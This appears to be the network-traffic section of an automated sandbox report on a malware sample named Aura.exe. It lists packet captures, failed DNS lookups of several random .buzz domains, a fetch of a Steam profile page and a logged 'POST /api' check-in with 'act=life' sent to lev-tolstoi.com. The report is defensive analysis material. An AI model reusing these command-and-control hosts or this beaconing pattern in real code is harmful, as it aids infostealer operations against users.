Dec 27, 2024 23:47:32.348301888 CET	443	49736	104.21.66.86	192.168.2.4
Dec 27, 2024 23:47:32.348491907 CET	443	49736	104.21.66.86	192.168.2.4
Dec 27, 2024 23:47:32.349955082 CET	49736	443	192.168.2.4	104.21.66.86
Dec 27, 2024 23:47:32.349993944 CET	49736	443	192.168.2.4	104.21.66.86
Dec 27, 2024 23:47:32.350047112 CET	443	49736	104.21.66.86	192.168.2.4
Dec 27, 2024 23:47:33.123061895 CET	443	49736	104.21.66.86	192.168.2.4
Dec 27, 2024 23:47:33.123106956 CET	443	49736	104.21.66.86	192.168.2.4
Dec 27, 2024 23:47:33.123140097 CET	443	49736	104.21.66.86	192.168.2.4
Dec 27, 2024 23:47:33.123174906 CET	49736	443	192.168.2.4	104.21.66.86
Dec 27, 2024 23:47:33.123186111 CET	443	49736	104.21.66.86	192.168.2.4
Dec 27, 2024 23:47:33.123193979 CET	443	49736	104.21.66.86	192.168.2.4
Dec 27, 2024 23:47:33.123260975 CET	49736	443	192.168.2.4	104.21.66.86
Dec 27, 2024 23:47:33.123266935 CET	443	49736	104.21.66.86	192.168.2.4
Dec 27, 2024 23:47:33.123305082 CET	49736	443	192.168.2.4	104.21.66.86
Dec 27, 2024 23:47:33.130810022 CET	443	49736	104.21.66.86	192.168.2.4
Dec 27, 2024 23:47:33.137491941 CET	443	49736	104.21.66.86	192.168.2.4
Dec 27, 2024 23:47:33.137540102 CET	49736	443	192.168.2.4	104.21.66.86
Dec 27, 2024 23:47:33.137546062 CET	443	49736	104.21.66.86	192.168.2.4
Dec 27, 2024 23:47:33.181627989 CET	49736	443	192.168.2.4	104.21.66.86
Dec 27, 2024 23:47:33.181636095 CET	443	49736	104.21.66.86	192.168.2.4
Dec 27, 2024 23:47:33.228502035 CET	49736	443	192.168.2.4	104.21.66.86
Dec 27, 2024 23:47:33.242578030 CET	443	49736	104.21.66.86	192.168.2.4
Dec 27, 2024 23:47:33.246680975 CET	443	49736	104.21.66.86	192.168.2.4
Dec 27, 2024 23:47:33.246737957 CET	49736	443	192.168.2.4	104.21.66.86
Dec 27, 2024 23:47:33.246743917 CET	443	49736	104.21.66.86	192.168.2.4
Dec 27, 2024 23:47:33.290994883 CET	49736	443	192.168.2.4	104.21.66.86
Dec 27, 2024 23:47:33.322706938 CET	443	49736	104.21.66.86	192.168.2.4
Dec 27, 2024 23:47:33.326383114 CET	443	49736	104.21.66.86	192.168.2.4
Dec 27, 2024 23:47:33.326446056 CET	443	49736	104.21.66.86	192.168.2.4
Dec 27, 2024 23:47:33.326484919 CET	49736	443	192.168.2.4	104.21.66.86
Dec 27, 2024 23:47:33.326544046 CET	49736	443	192.168.2.4	104.21.66.86
Dec 27, 2024 23:47:33.336797953 CET	49736	443	192.168.2.4	104.21.66.86
Dec 27, 2024 23:47:33.336810112 CET	443	49736	104.21.66.86	192.168.2.4
Dec 27, 2024 23:47:33.336819887 CET	49736	443	192.168.2.4	104.21.66.86
Dec 27, 2024 23:47:33.336823940 CET	443	49736	104.21.66.86	192.168.2.4
Dec 27, 2024 23:47:34.039030075 CET	49737	443	192.168.2.4	104.21.66.86
Dec 27, 2024 23:47:34.039134979 CET	443	49737	104.21.66.86	192.168.2.4
Dec 27, 2024 23:47:34.039238930 CET	49737	443	192.168.2.4	104.21.66.86
Dec 27, 2024 23:47:34.039617062 CET	49737	443	192.168.2.4	104.21.66.86
Dec 27, 2024 23:47:34.039649010 CET	443	49737	104.21.66.86	192.168.2.4
Dec 27, 2024 23:47:35.367670059 CET	443	49737	104.21.66.86	192.168.2.4
Dec 27, 2024 23:47:35.367774010 CET	49737	443	192.168.2.4	104.21.66.86
Dec 27, 2024 23:47:35.369349003 CET	49737	443	192.168.2.4	104.21.66.86
Dec 27, 2024 23:47:35.369376898 CET	443	49737	104.21.66.86	192.168.2.4
Dec 27, 2024 23:47:35.369605064 CET	443	49737	104.21.66.86	192.168.2.4
Dec 27, 2024 23:47:35.370830059 CET	49737	443	192.168.2.4	104.21.66.86
Dec 27, 2024 23:47:35.371032953 CET	49737	443	192.168.2.4	104.21.66.86
Dec 27, 2024 23:47:35.371083021 CET	443	49737	104.21.66.86	192.168.2.4
Dec 27, 2024 23:47:35.371146917 CET	49737	443	192.168.2.4	104.21.66.86
Dec 27, 2024 23:47:35.371160984 CET	443	49737	104.21.66.86	192.168.2.4
Dec 27, 2024 23:47:36.327707052 CET	443	49737	104.21.66.86	192.168.2.4
Dec 27, 2024 23:47:36.327795029 CET	443	49737	104.21.66.86	192.168.2.4
Dec 27, 2024 23:47:36.327881098 CET	49737	443	192.168.2.4	104.21.66.86
Dec 27, 2024 23:47:36.397313118 CET	49737	443	192.168.2.4	104.21.66.86
Dec 27, 2024 23:47:36.397368908 CET	443	49737	104.21.66.86	192.168.2.4
Dec 27, 2024 23:47:36.472244024 CET	49738	443	192.168.2.4	104.21.66.86
Dec 27, 2024 23:47:36.472291946 CET	443	49738	104.21.66.86	192.168.2.4
Dec 27, 2024 23:47:36.472367048 CET	49738	443	192.168.2.4	104.21.66.86
Dec 27, 2024 23:47:36.472616911 CET	49738	443	192.168.2.4	104.21.66.86
Dec 27, 2024 23:47:36.472625971 CET	443	49738	104.21.66.86	192.168.2.4
Dec 27, 2024 23:47:37.730397940 CET	443	49738	104.21.66.86	192.168.2.4
Dec 27, 2024 23:47:37.730606079 CET	49738	443	192.168.2.4	104.21.66.86
Dec 27, 2024 23:47:37.731825113 CET	49738	443	192.168.2.4	104.21.66.86
Dec 27, 2024 23:47:37.731831074 CET	443	49738	104.21.66.86	192.168.2.4
Dec 27, 2024 23:47:37.732043028 CET	443	49738	104.21.66.86	192.168.2.4
Dec 27, 2024 23:47:37.733314037 CET	49738	443	192.168.2.4	104.21.66.86
Dec 27, 2024 23:47:37.733418941 CET	49738	443	192.168.2.4	104.21.66.86
Dec 27, 2024 23:47:37.733438015 CET	443	49738	104.21.66.86	192.168.2.4
Dec 27, 2024 23:47:38.602670908 CET	443	49738	104.21.66.86	192.168.2.4
Dec 27, 2024 23:47:38.602777958 CET	443	49738	104.21.66.86	192.168.2.4
Dec 27, 2024 23:47:38.602931976 CET	49738	443	192.168.2.4	104.21.66.86
Dec 27, 2024 23:47:38.602963924 CET	49738	443	192.168.2.4	104.21.66.86
Dec 27, 2024 23:47:38.602982044 CET	443	49738	104.21.66.86	192.168.2.4
Dec 27, 2024 23:47:38.777642965 CET	49739	443	192.168.2.4	104.21.66.86
Dec 27, 2024 23:47:38.777754068 CET	443	49739	104.21.66.86	192.168.2.4
Dec 27, 2024 23:47:38.777844906 CET	49739	443	192.168.2.4	104.21.66.86
Dec 27, 2024 23:47:38.778117895 CET	49739	443	192.168.2.4	104.21.66.86
Dec 27, 2024 23:47:38.778172970 CET	443	49739	104.21.66.86	192.168.2.4
Dec 27, 2024 23:47:40.040551901 CET	443	49739	104.21.66.86	192.168.2.4
Dec 27, 2024 23:47:40.040652037 CET	49739	443	192.168.2.4	104.21.66.86
Dec 27, 2024 23:47:40.042543888 CET	49739	443	192.168.2.4	104.21.66.86
Dec 27, 2024 23:47:40.042567015 CET	443	49739	104.21.66.86	192.168.2.4
Dec 27, 2024 23:47:40.042824984 CET	443	49739	104.21.66.86	192.168.2.4
Dec 27, 2024 23:47:40.044294119 CET	49739	443	192.168.2.4	104.21.66.86
Dec 27, 2024 23:47:40.044507027 CET	49739	443	192.168.2.4	104.21.66.86
Dec 27, 2024 23:47:40.044559956 CET	443	49739	104.21.66.86	192.168.2.4
Dec 27, 2024 23:47:40.044635057 CET	49739	443	192.168.2.4	104.21.66.86
Dec 27, 2024 23:47:40.044651985 CET	443	49739	104.21.66.86	192.168.2.4
Dec 27, 2024 23:47:41.008384943 CET	443	49739	104.21.66.86	192.168.2.4
Dec 27, 2024 23:47:41.008476019 CET	443	49739	104.21.66.86	192.168.2.4
Dec 27, 2024 23:47:41.008727074 CET	49739	443	192.168.2.4	104.21.66.86
Dec 27, 2024 23:47:41.008843899 CET	49739	443	192.168.2.4	104.21.66.86
Dec 27, 2024 23:47:41.008882999 CET	443	49739	104.21.66.86	192.168.2.4
Dec 27, 2024 23:47:41.392714977 CET	49741	443	192.168.2.4	104.21.66.86
Dec 27, 2024 23:47:41.392745972 CET	443	49741	104.21.66.86	192.168.2.4
Dec 27, 2024 23:47:41.392827988 CET	49741	443	192.168.2.4	104.21.66.86
Dec 27, 2024 23:47:41.393178940 CET	49741	443	192.168.2.4	104.21.66.86
Dec 27, 2024 23:47:41.393191099 CET	443	49741	104.21.66.86	192.168.2.4
Dec 27, 2024 23:47:42.651720047 CET	443	49741	104.21.66.86	192.168.2.4
Dec 27, 2024 23:47:42.651807070 CET	49741	443	192.168.2.4	104.21.66.86
Dec 27, 2024 23:47:42.653032064 CET	49741	443	192.168.2.4	104.21.66.86
Dec 27, 2024 23:47:42.653042078 CET	443	49741	104.21.66.86	192.168.2.4
Dec 27, 2024 23:47:42.653352976 CET	443	49741	104.21.66.86	192.168.2.4
Dec 27, 2024 23:47:42.655412912 CET	49741	443	192.168.2.4	104.21.66.86
Dec 27, 2024 23:47:42.658384085 CET	49741	443	192.168.2.4	104.21.66.86
Dec 27, 2024 23:47:42.658389091 CET	443	49741	104.21.66.86	192.168.2.4
Dec 27, 2024 23:47:43.430974960 CET	443	49741	104.21.66.86	192.168.2.4
Dec 27, 2024 23:47:43.431128979 CET	443	49741	104.21.66.86	192.168.2.4
Dec 27, 2024 23:47:43.431190968 CET	49741	443	192.168.2.4	104.21.66.86
Dec 27, 2024 23:47:43.431277990 CET	49741	443	192.168.2.4	104.21.66.86
Dec 27, 2024 23:47:43.431296110 CET	443	49741	104.21.66.86	192.168.2.4
Dec 27, 2024 23:47:43.948561907 CET	49743	443	192.168.2.4	104.21.66.86
Dec 27, 2024 23:47:43.948581934 CET	443	49743	104.21.66.86	192.168.2.4
Dec 27, 2024 23:47:43.948668003 CET	49743	443	192.168.2.4	104.21.66.86
Dec 27, 2024 23:47:43.948930979 CET	49743	443	192.168.2.4	104.21.66.86
Dec 27, 2024 23:47:43.948941946 CET	443	49743	104.21.66.86	192.168.2.4
Dec 27, 2024 23:47:45.212923050 CET	443	49743	104.21.66.86	192.168.2.4
Dec 27, 2024 23:47:45.213010073 CET	49743	443	192.168.2.4	104.21.66.86
Dec 27, 2024 23:47:45.214047909 CET	49743	443	192.168.2.4	104.21.66.86
Dec 27, 2024 23:47:45.214059114 CET	443	49743	104.21.66.86	192.168.2.4
Dec 27, 2024 23:47:45.214307070 CET	443	49743	104.21.66.86	192.168.2.4
Dec 27, 2024 23:47:45.223155022 CET	49743	443	192.168.2.4	104.21.66.86
Dec 27, 2024 23:47:45.223916054 CET	49743	443	192.168.2.4	104.21.66.86
Dec 27, 2024 23:47:45.223948956 CET	443	49743	104.21.66.86	192.168.2.4
Dec 27, 2024 23:47:45.224104881 CET	49743	443	192.168.2.4	104.21.66.86
Dec 27, 2024 23:47:45.224128008 CET	443	49743	104.21.66.86	192.168.2.4
Dec 27, 2024 23:47:45.224217892 CET	49743	443	192.168.2.4	104.21.66.86
Dec 27, 2024 23:47:45.224244118 CET	443	49743	104.21.66.86	192.168.2.4
Dec 27, 2024 23:47:45.224986076 CET	49743	443	192.168.2.4	104.21.66.86
Dec 27, 2024 23:47:45.224998951 CET	443	49743	104.21.66.86	192.168.2.4
Dec 27, 2024 23:47:45.225172043 CET	49743	443	192.168.2.4	104.21.66.86
Dec 27, 2024 23:47:45.225183010 CET	443	49743	104.21.66.86	192.168.2.4
Dec 27, 2024 23:47:45.225311995 CET	49743	443	192.168.2.4	104.21.66.86
Dec 27, 2024 23:47:45.225326061 CET	443	49743	104.21.66.86	192.168.2.4
Dec 27, 2024 23:47:45.225336075 CET	49743	443	192.168.2.4	104.21.66.86
Dec 27, 2024 23:47:45.225461960 CET	49743	443	192.168.2.4	104.21.66.86
Dec 27, 2024 23:47:45.225498915 CET	49743	443	192.168.2.4	104.21.66.86
Dec 27, 2024 23:47:45.271336079 CET	443	49743	104.21.66.86	192.168.2.4
Dec 27, 2024 23:47:45.271506071 CET	49743	443	192.168.2.4	104.21.66.86
Dec 27, 2024 23:47:45.271553993 CET	49743	443	192.168.2.4	104.21.66.86
Dec 27, 2024 23:47:45.271565914 CET	49743	443	192.168.2.4	104.21.66.86
Dec 27, 2024 23:47:45.315359116 CET	443	49743	104.21.66.86	192.168.2.4
Dec 27, 2024 23:47:45.319416046 CET	49743	443	192.168.2.4	104.21.66.86
Dec 27, 2024 23:47:45.319463968 CET	49743	443	192.168.2.4	104.21.66.86
Dec 27, 2024 23:47:45.319492102 CET	49743	443	192.168.2.4	104.21.66.86
Dec 27, 2024 23:47:45.363360882 CET	443	49743	104.21.66.86	192.168.2.4
Dec 27, 2024 23:47:45.367525101 CET	49743	443	192.168.2.4	104.21.66.86
Dec 27, 2024 23:47:45.367554903 CET	49743	443	192.168.2.4	104.21.66.86
Dec 27, 2024 23:47:45.411375046 CET	443	49743	104.21.66.86	192.168.2.4
Dec 27, 2024 23:47:45.584777117 CET	443	49743	104.21.66.86	192.168.2.4
Dec 27, 2024 23:47:48.068761110 CET	443	49743	104.21.66.86	192.168.2.4
Dec 27, 2024 23:47:48.068850040 CET	443	49743	104.21.66.86	192.168.2.4
Dec 27, 2024 23:47:48.068912029 CET	49743	443	192.168.2.4	104.21.66.86
Dec 27, 2024 23:47:48.069176912 CET	49743	443	192.168.2.4	104.21.66.86
Dec 27, 2024 23:47:48.069191933 CET	443	49743	104.21.66.86	192.168.2.4
Dec 27, 2024 23:47:48.164958000 CET	49747	443	192.168.2.4	104.21.66.86
Dec 27, 2024 23:47:48.164999008 CET	443	49747	104.21.66.86	192.168.2.4
Dec 27, 2024 23:47:48.165105104 CET	49747	443	192.168.2.4	104.21.66.86
Dec 27, 2024 23:47:48.165766954 CET	49747	443	192.168.2.4	104.21.66.86
Dec 27, 2024 23:47:48.165779114 CET	443	49747	104.21.66.86	192.168.2.4
Dec 27, 2024 23:47:49.425071001 CET	443	49747	104.21.66.86	192.168.2.4
Dec 27, 2024 23:47:49.425230026 CET	49747	443	192.168.2.4	104.21.66.86
Dec 27, 2024 23:47:49.427434921 CET	49747	443	192.168.2.4	104.21.66.86
Dec 27, 2024 23:47:49.427444935 CET	443	49747	104.21.66.86	192.168.2.4
Dec 27, 2024 23:47:49.427644014 CET	443	49747	104.21.66.86	192.168.2.4
Dec 27, 2024 23:47:49.441061974 CET	49747	443	192.168.2.4	104.21.66.86
Dec 27, 2024 23:47:49.441087008 CET	49747	443	192.168.2.4	104.21.66.86
Dec 27, 2024 23:47:49.441132069 CET	443	49747	104.21.66.86	192.168.2.4
Dec 27, 2024 23:47:50.180500984 CET	443	49747	104.21.66.86	192.168.2.4
Dec 27, 2024 23:47:50.180545092 CET	443	49747	104.21.66.86	192.168.2.4
Dec 27, 2024 23:47:50.180571079 CET	443	49747	104.21.66.86	192.168.2.4
Dec 27, 2024 23:47:50.180615902 CET	49747	443	192.168.2.4	104.21.66.86
Dec 27, 2024 23:47:50.180634975 CET	443	49747	104.21.66.86	192.168.2.4
Dec 27, 2024 23:47:50.181067944 CET	443	49747	104.21.66.86	192.168.2.4
Dec 27, 2024 23:47:50.181097984 CET	443	49747	104.21.66.86	192.168.2.4
Dec 27, 2024 23:47:50.181128979 CET	49747	443	192.168.2.4	104.21.66.86
Dec 27, 2024 23:47:50.181135893 CET	443	49747	104.21.66.86	192.168.2.4
Dec 27, 2024 23:47:50.181162119 CET	49747	443	192.168.2.4	104.21.66.86
Dec 27, 2024 23:47:50.189495087 CET	443	49747	104.21.66.86	192.168.2.4
Dec 27, 2024 23:47:50.189589024 CET	49747	443	192.168.2.4	104.21.66.86
Dec 27, 2024 23:47:50.189600945 CET	443	49747	104.21.66.86	192.168.2.4
Dec 27, 2024 23:47:50.206131935 CET	443	49747	104.21.66.86	192.168.2.4
Dec 27, 2024 23:47:50.207284927 CET	49747	443	192.168.2.4	104.21.66.86
Dec 27, 2024 23:47:50.207292080 CET	443	49747	104.21.66.86	192.168.2.4
Dec 27, 2024 23:47:50.210386992 CET	443	49747	104.21.66.86	192.168.2.4
Dec 27, 2024 23:47:50.210453987 CET	49747	443	192.168.2.4	104.21.66.86
Dec 27, 2024 23:47:50.210457087 CET	443	49747	104.21.66.86	192.168.2.4
Dec 27, 2024 23:47:50.210612059 CET	49747	443	192.168.2.4	104.21.66.86
Dec 27, 2024 23:47:50.210756063 CET	49747	443	192.168.2.4	104.21.66.86
Dec 27, 2024 23:47:50.210767984 CET	443	49747	104.21.66.86	192.168.2.4
Dec 27, 2024 23:47:50.210788012 CET	49747	443	192.168.2.4	104.21.66.86
Dec 27, 2024 23:47:50.210797071 CET	443	49747	104.21.66.86	192.168.2.4

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 27, 2024 23:47:24.700731993 CET	60315	53	192.168.2.4	1.1.1.1
Dec 27, 2024 23:47:24.839672089 CET	53	60315	1.1.1.1	192.168.2.4
Dec 27, 2024 23:47:24.842909098 CET	53114	53	192.168.2.4	1.1.1.1
Dec 27, 2024 23:47:24.980928898 CET	53	53114	1.1.1.1	192.168.2.4
Dec 27, 2024 23:47:24.988600016 CET	52400	53	192.168.2.4	1.1.1.1
Dec 27, 2024 23:47:25.126113892 CET	53	52400	1.1.1.1	192.168.2.4
Dec 27, 2024 23:47:25.130359888 CET	57075	53	192.168.2.4	1.1.1.1
Dec 27, 2024 23:47:25.267863035 CET	53	57075	1.1.1.1	192.168.2.4
Dec 27, 2024 23:47:25.269396067 CET	54101	53	192.168.2.4	1.1.1.1
Dec 27, 2024 23:47:25.406898022 CET	53	54101	1.1.1.1	192.168.2.4
Dec 27, 2024 23:47:25.410088062 CET	64114	53	192.168.2.4	1.1.1.1
Dec 27, 2024 23:47:25.547748089 CET	53	64114	1.1.1.1	192.168.2.4
Dec 27, 2024 23:47:25.554194927 CET	53826	53	192.168.2.4	1.1.1.1
Dec 27, 2024 23:47:25.692828894 CET	53	53826	1.1.1.1	192.168.2.4
Dec 27, 2024 23:47:25.767893076 CET	64809	53	192.168.2.4	1.1.1.1
Dec 27, 2024 23:47:25.905415058 CET	53	64809	1.1.1.1	192.168.2.4
Dec 27, 2024 23:47:25.922873974 CET	60257	53	192.168.2.4	1.1.1.1
Dec 27, 2024 23:47:26.060611963 CET	53	60257	1.1.1.1	192.168.2.4
Dec 27, 2024 23:47:26.199702024 CET	60415	53	192.168.2.4	1.1.1.1
Dec 27, 2024 23:47:26.424935102 CET	53	60415	1.1.1.1	192.168.2.4
Dec 27, 2024 23:47:28.892371893 CET	55818	53	192.168.2.4	1.1.1.1
Dec 27, 2024 23:47:29.072751045 CET	53	55818	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 27, 2024 23:47:24.700731993 CET	192.168.2.4	1.1.1.1	0xbb65	Standard query (0)	mindhandru.buzz	A (IP address)	IN (0x0001)	false
Dec 27, 2024 23:47:24.842909098 CET	192.168.2.4	1.1.1.1	0x4d07	Standard query (0)	prisonyfork.buzz	A (IP address)	IN (0x0001)	false
Dec 27, 2024 23:47:24.988600016 CET	192.168.2.4	1.1.1.1	0xf34	Standard query (0)	rebuildeso.buzz	A (IP address)	IN (0x0001)	false
Dec 27, 2024 23:47:25.130359888 CET	192.168.2.4	1.1.1.1	0x94b8	Standard query (0)	scentniej.buzz	A (IP address)	IN (0x0001)	false
Dec 27, 2024 23:47:25.269396067 CET	192.168.2.4	1.1.1.1	0xf260	Standard query (0)	inherineau.buzz	A (IP address)	IN (0x0001)	false
Dec 27, 2024 23:47:25.410088062 CET	192.168.2.4	1.1.1.1	0xc33f	Standard query (0)	screwamusresz.buzz	A (IP address)	IN (0x0001)	false
Dec 27, 2024 23:47:25.554194927 CET	192.168.2.4	1.1.1.1	0xaf7c	Standard query (0)	appliacnesot.buzz	A (IP address)	IN (0x0001)	false
Dec 27, 2024 23:47:25.767893076 CET	192.168.2.4	1.1.1.1	0x5e94	Standard query (0)	cashfuzysao.buzz	A (IP address)	IN (0x0001)	false
Dec 27, 2024 23:47:25.922873974 CET	192.168.2.4	1.1.1.1	0x8ef5	Standard query (0)	hummskitnj.buzz	A (IP address)	IN (0x0001)	false
Dec 27, 2024 23:47:26.199702024 CET	192.168.2.4	1.1.1.1	0x995e	Standard query (0)	steamcommunity.com	A (IP address)	IN (0x0001)	false
Dec 27, 2024 23:47:28.892371893 CET	192.168.2.4	1.1.1.1	0x3472	Standard query (0)	lev-tolstoi.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 27, 2024 23:47:24.839672089 CET	1.1.1.1	192.168.2.4	0xbb65	Name error (3)	mindhandru.buzz	none	none	A (IP address)	IN (0x0001)	false
Dec 27, 2024 23:47:24.980928898 CET	1.1.1.1	192.168.2.4	0x4d07	Name error (3)	prisonyfork.buzz	none	none	A (IP address)	IN (0x0001)	false
Dec 27, 2024 23:47:25.126113892 CET	1.1.1.1	192.168.2.4	0xf34	Name error (3)	rebuildeso.buzz	none	none	A (IP address)	IN (0x0001)	false
Dec 27, 2024 23:47:25.267863035 CET	1.1.1.1	192.168.2.4	0x94b8	Name error (3)	scentniej.buzz	none	none	A (IP address)	IN (0x0001)	false
Dec 27, 2024 23:47:25.406898022 CET	1.1.1.1	192.168.2.4	0xf260	Name error (3)	inherineau.buzz	none	none	A (IP address)	IN (0x0001)	false
Dec 27, 2024 23:47:25.547748089 CET	1.1.1.1	192.168.2.4	0xc33f	Name error (3)	screwamusresz.buzz	none	none	A (IP address)	IN (0x0001)	false
Dec 27, 2024 23:47:25.692828894 CET	1.1.1.1	192.168.2.4	0xaf7c	Name error (3)	appliacnesot.buzz	none	none	A (IP address)	IN (0x0001)	false
Dec 27, 2024 23:47:25.905415058 CET	1.1.1.1	192.168.2.4	0x5e94	Name error (3)	cashfuzysao.buzz	none	none	A (IP address)	IN (0x0001)	false
Dec 27, 2024 23:47:26.060611963 CET	1.1.1.1	192.168.2.4	0x8ef5	Name error (3)	hummskitnj.buzz	none	none	A (IP address)	IN (0x0001)	false
Dec 27, 2024 23:47:26.424935102 CET	1.1.1.1	192.168.2.4	0x995e	No error (0)	steamcommunity.com		23.55.153.106	A (IP address)	IN (0x0001)	false
Dec 27, 2024 23:47:29.072751045 CET	1.1.1.1	192.168.2.4	0x3472	No error (0)	lev-tolstoi.com		104.21.66.86	A (IP address)	IN (0x0001)	false
Dec 27, 2024 23:47:29.072751045 CET	1.1.1.1	192.168.2.4	0x3472	No error (0)	lev-tolstoi.com		172.67.157.254	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

steamcommunity.com

lev-tolstoi.com

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49734	23.55.153.106	443	7412	C:\Users\user\Desktop\Aura.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-27 22:47:27 UTC	219	OUT	GET /profiles/76561199724331900 HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: steamcommunity.com
2024-12-27 22:47:28 UTC	1905	IN	HTTP/1.1 200 OK Server: nginx Content-Type: text/html; charset=UTF-8 Content-Security-Policy: default-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.fastly.steamstatic.com/ https://cdn.fastly.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.fastly.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq. [TRUNCATED] Expires: Mon, 26 Jul 1997 05:00:00 GMT Cache-Control: no-cache Date: Fri, 27 Dec 2024 22:47:28 GMT Content-Length: 35121 Connection: close Set-Cookie: sessionid=03b3ce6361d570aed46411eb; Path=/; Secure; SameSite=None Set-Cookie: steamCountry=US%7C185ce35c568ebbb18a145d0cabae7186; Path=/; Secure; HttpOnly; SameSite=None
2024-12-27 22:47:28 UTC	14479	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 20 72 65 73 70 6f 6e 73 69 76 65 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 0a 09 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 74 68 65 6d 65 2d 63 6f 6c 6f 72 22 20 63 6f 6e 74 65 6e 74 3d 22 23 31 37 31 61 32 31 22 3e 0a 09 09 3c 74 69 74 6c 65 3e Data Ascii: <!DOCTYPE html><html class=" responsive" lang="en"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><meta name="viewport" content="width=device-width,initial-scale=1"><meta name="theme-color" content="#171a21"><title>
2024-12-27 22:47:28 UTC	10097	IN	Data Raw: 2e 63 6f 6d 2f 3f 73 75 62 73 65 63 74 69 6f 6e 3d 62 72 6f 61 64 63 61 73 74 73 22 3e 0a 09 09 09 09 09 09 42 72 6f 61 64 63 61 73 74 73 09 09 09 09 09 09 09 09 09 09 09 3c 2f 61 3e 0a 09 09 09 09 09 09 09 3c 2f 64 69 76 3e 0a 09 09 09 09 09 09 09 09 09 09 3c 61 20 63 6c 61 73 73 3d 22 6d 65 6e 75 69 74 65 6d 20 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 74 6f 72 65 2e 73 74 65 61 6d 70 6f 77 65 72 65 64 2e 63 6f 6d 2f 61 62 6f 75 74 2f 22 3e 0a 09 09 09 09 41 62 6f 75 74 09 09 09 3c 2f 61 3e 0a 09 09 09 09 09 09 09 09 09 09 3c 61 20 63 6c 61 73 73 3d 22 6d 65 6e 75 69 74 65 6d 20 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 68 65 6c 70 2e 73 74 65 61 6d 70 6f 77 65 72 65 64 2e 63 6f 6d 2f 65 6e 2f 22 3e 0a 09 09 09 09 53 55 50 50 4f 52 54 09 Data Ascii: .com/?subsection=broadcasts">Broadcasts</a></div><a class="menuitem " href="https://store.steampowered.com/about/">About</a><a class="menuitem " href="https://help.steampowered.com/en/">SUPPORT
2024-12-27 22:47:28 UTC	10545	IN	Data Raw: 4e 49 56 45 52 53 45 26 71 75 6f 74 3b 3a 26 71 75 6f 74 3b 70 75 62 6c 69 63 26 71 75 6f 74 3b 2c 26 71 75 6f 74 3b 4c 41 4e 47 55 41 47 45 26 71 75 6f 74 3b 3a 26 71 75 6f 74 3b 65 6e 67 6c 69 73 68 26 71 75 6f 74 3b 2c 26 71 75 6f 74 3b 43 4f 55 4e 54 52 59 26 71 75 6f 74 3b 3a 26 71 75 6f 74 3b 55 53 26 71 75 6f 74 3b 2c 26 71 75 6f 74 3b 4d 45 44 49 41 5f 43 44 4e 5f 43 4f 4d 4d 55 4e 49 54 59 5f 55 52 4c 26 71 75 6f 74 3b 3a 26 71 75 6f 74 3b 68 74 74 70 73 3a 5c 2f 5c 2f 63 64 6e 2e 66 61 73 74 6c 79 2e 73 74 65 61 6d 73 74 61 74 69 63 2e 63 6f 6d 5c 2f 73 74 65 61 6d 63 6f 6d 6d 75 6e 69 74 79 5c 2f 70 75 62 6c 69 63 5c 2f 26 71 75 6f 74 3b 2c 26 71 75 6f 74 3b 4d 45 44 49 41 5f 43 44 4e 5f 55 52 4c 26 71 75 6f 74 3b 3a 26 71 75 6f 74 3b 68 74 74 Data Ascii: NIVERSE":"public","LANGUAGE":"english","COUNTRY":"US","MEDIA_CDN_COMMUNITY_URL":"https:\/\/cdn.fastly.steamstatic.com\/steamcommunity\/public\/","MEDIA_CDN_URL":"htt

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49735	104.21.66.86	443	7412	C:\Users\user\Desktop\Aura.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-27 22:47:30 UTC	262	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: lev-tolstoi.com
2024-12-27 22:47:30 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
